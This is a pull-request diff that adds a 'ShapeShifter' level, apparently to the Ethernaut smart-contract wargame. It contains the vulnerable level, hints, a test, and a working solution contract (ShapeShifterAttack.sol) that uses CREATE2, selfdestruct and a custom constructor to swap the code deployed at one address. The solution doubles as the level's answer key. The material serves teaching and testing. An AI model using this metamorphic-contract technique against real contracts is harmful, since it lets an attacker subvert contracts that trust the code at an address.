Skip to content
Open
Show file tree
Hide file tree
Changes from all commits
Commits
File filter

Filter by extension

Filter by extension

Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
1 change: 1 addition & 0 deletions client/public/imgs/BigLevel32.svg
Loading
Sorry, something went wrong. Reload?
Sorry, we cannot display this file.
Sorry, this file is invalid so it cannot be displayed.
1 change: 1 addition & 0 deletions client/public/imgs/Level32.svg
Loading
Sorry, something went wrong. Reload?
Sorry, we cannot display this file.
Sorry, this file is invalid so it cannot be displayed.
13 changes: 12 additions & 1 deletion client/src/gamedata/authors.json
Original file line number Diff line number Diff line change
Expand Up @@ -147,6 +147,17 @@
"websites": [
"https://www.linkedin.com/in/kstasi/"
]
},
"ckoopmann": {
"name": [
"Christian Koopmann"
],
"emails": [
"c.k.e.koopmann@gmail.com"
],
"websites": [
"https://github.com/ckoopmann"
]
}
}
}
}
6 changes: 6 additions & 0 deletions client/src/gamedata/en/descriptions/levels/shapeshifter.md
Original file line number Diff line number Diff line change
@@ -0,0 +1,6 @@
In Ethereum Code is Law and it's immutable. Or is it ?
Deploy a contract register it with the level and then increase its deployed codesize to unlock this level.

##### Things that might help:
* Think about the different ways to deploy a contract and how a deployed contract address is computed.
* Which is (one of) the most disliked opcodes ? Use it to your advantage!
Original file line number Diff line number Diff line change
@@ -0,0 +1,4 @@
Well done, this wasn't easy. You rewrote the Code and thereby the Law!
The ability to do this is one of the reasons why Ethereum community member Vitalik (among others) wants the `selfdestruct` opcode removed as described in [his blogpost](https://hackmd.io/@vbuterin/selfdestruct#SELFDESTRUCT-is-the-only-opcode-which-can-cause-the-code-of-a-contract-to-change).

If you want to see a more detailed explanation of this check out [this excellent talk](https://youtu.be/QfFjUMPtsM0?t=4520) on the topic.
15 changes: 15 additions & 0 deletions client/src/gamedata/gamedata.json
Original file line number Diff line number Diff line change
Expand Up @@ -446,6 +446,21 @@
"deployId": "28",
"instanceGas": 1000000,
"author": "KStasi"
},
{
"name": "ShapeShifter",
"created": "2023-01-13",
"difficulty": "8",
"description": "shapeshifter.md",
"completedDescription": "shapeshifter_complete.md",
"levelContract": "ShapeShifterFactory.sol",
"instanceContract": "ShapeShifter.sol",
"revealCode": true,
"deployParams": [],
"deployFunds": 0,
"deployId": "32",
"instanceGas": 1500000,
"author": "ckoopmann"
}
]
}
92 changes: 92 additions & 0 deletions contracts/contracts/attacks/ShapeShifterAttack.sol
Original file line number Diff line number Diff line change
@@ -0,0 +1,92 @@
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

import '../levels/ShapeShifter.sol';

contract SmallContract {
function version() external returns(uint256) {
return 1;
}

function destroy() external {
selfdestruct(payable(address(0)));
}
}
contract LargeContract is SmallContract {
// Add random extra method to increase codesize
function bloat() external {
revert("Hey don't call me");
}
}

// Contract that bypasses the normal process of returning the compiled bytecode of the contract and replaces it with code returned from teh attack contracts storage variable
contract Choice {
constructor() {
ShapeShifterAttack shapeShifterAttack = ShapeShifterAttack(msg.sender);
bytes memory code = shapeShifterAttack.code();

uint256 memOfs = dataPtr(code);
uint256 len = code.length;

// This is a "hack" that ensures that the constructor returns the code gotten from the shapeShifterAttack contract and not what is compiled from this solidity contract definition
assembly {
return(memOfs, len)
}
}

// Returns a pointer to the memory address of the data in given bytes array
function dataPtr(bytes memory bts) internal pure returns (uint addr) {
assembly {
// Byte arrays are stored in memory with a 32 byte header containing length etc.
// The actual data starts after that header so we have to skip it
addr := add(bts, /*BYTES_HEADER_SIZE*/32)
}
}
}


contract ShapeShifterAttack {
ShapeShifter public target;
address public changingContract;
uint public password;
uint public constant SALT = 12345;
bytes public code;

constructor (address payable _target) {
target = ShapeShifter(_target);
}


// Step 1
function deploySmallContract() external returns(address) {
code = type(SmallContract).runtimeCode;
changingContract = _deploy();
}

// Step 2
function registerContract() external returns(address) {
target.submitContract(changingContract);
}

// Step 3
function destroyContract() external returns(address) {
SmallContract(changingContract).destroy();
code = type(LargeContract).runtimeCode;
}

// Step 4
function deployLargeContract() external returns(address) {
changingContract = _deploy();
}

// e voila
function unlock() external returns(address) {
target.unlock();
}

function _deploy() internal returns(address) {
bytes32 salt = bytes32(SALT);
Choice d = new Choice{salt: salt}();
return address(d);
}
}
21 changes: 21 additions & 0 deletions contracts/contracts/levels/ShapeShifter.sol
Original file line number Diff line number Diff line change
@@ -0,0 +1,21 @@
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

contract ShapeShifter {
address public userContract;
uint public contractSize;
bool public unlocked;

function submitContract(address _userContract) public {
require(_userContract.code.length > 0, "Address must be a deployed smart contract");
userContract = _userContract;
contractSize = _userContract.code.length;
}

function unlock() public {
require(userContract != address(0), "Contract not set");
if(userContract.code.length > contractSize) {
unlocked = true;
}
}
}
18 changes: 18 additions & 0 deletions contracts/contracts/levels/ShapeShifterFactory.sol
Original file line number Diff line number Diff line change
@@ -0,0 +1,18 @@
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

import './base/Level.sol';
import './ShapeShifter.sol';

contract ShapeShifterFactory is Level {
function createInstance(address _player) override public payable returns (address) {
_player;
ShapeShifter instance = new ShapeShifter();
return payable(address(instance));
}

function validateInstance(address payable _instance, address) override public view returns (bool) {
ShapeShifter instance = ShapeShifter(_instance);
return instance.unlocked();
}
}
67 changes: 67 additions & 0 deletions contracts/test/levels/ShapeShifter.test.js
Original file line number Diff line number Diff line change
@@ -0,0 +1,67 @@
const ShapeShifterFactory = artifacts.require(
"./levels/ShapeShifterFactory.sol"
);
const ShapeShifter = artifacts.require("./levels/ShapeShifter.sol");
const ShapeShifterAttack = artifacts.require(
"./attacks/ShapeShifterAttack.sol"
);
const { ethers } = require('hardhat');

const utils = require("../utils/TestUtils");

contract("ShapeShifter", function (accounts) {
let ethernaut;
let level;
let player = accounts[0];

before(async function () {
ethernaut = await utils.getEthernautWithStatsProxy();
level = await ShapeShifterFactory.new();
await ethernaut.registerLevel(level.address);
});

it("should fail if the player didnt solve the level", async function () {
const instance = await utils.createLevelInstance(
ethernaut,
level.address,
player,
ShapeShifter
);
const completed = await utils.submitLevelInstance(
ethernaut,
level.address,
instance.address,
player
);

assert.isFalse(completed);
});

it("should allow the player to solve the level", async function () {
const instance = await utils.createLevelInstance(
ethernaut,
level.address,
player,
ShapeShifter
);

const attacker = await ShapeShifterAttack.new(instance.address, {
from: player,
});

await attacker.deploySmallContract();
await attacker.registerContract();
await attacker.destroyContract();
await attacker.deployLargeContract();
await attacker.unlock();

const completed = await utils.submitLevelInstance(
ethernaut,
level.address,
instance.address,
player
);

assert.isTrue(completed);
});
});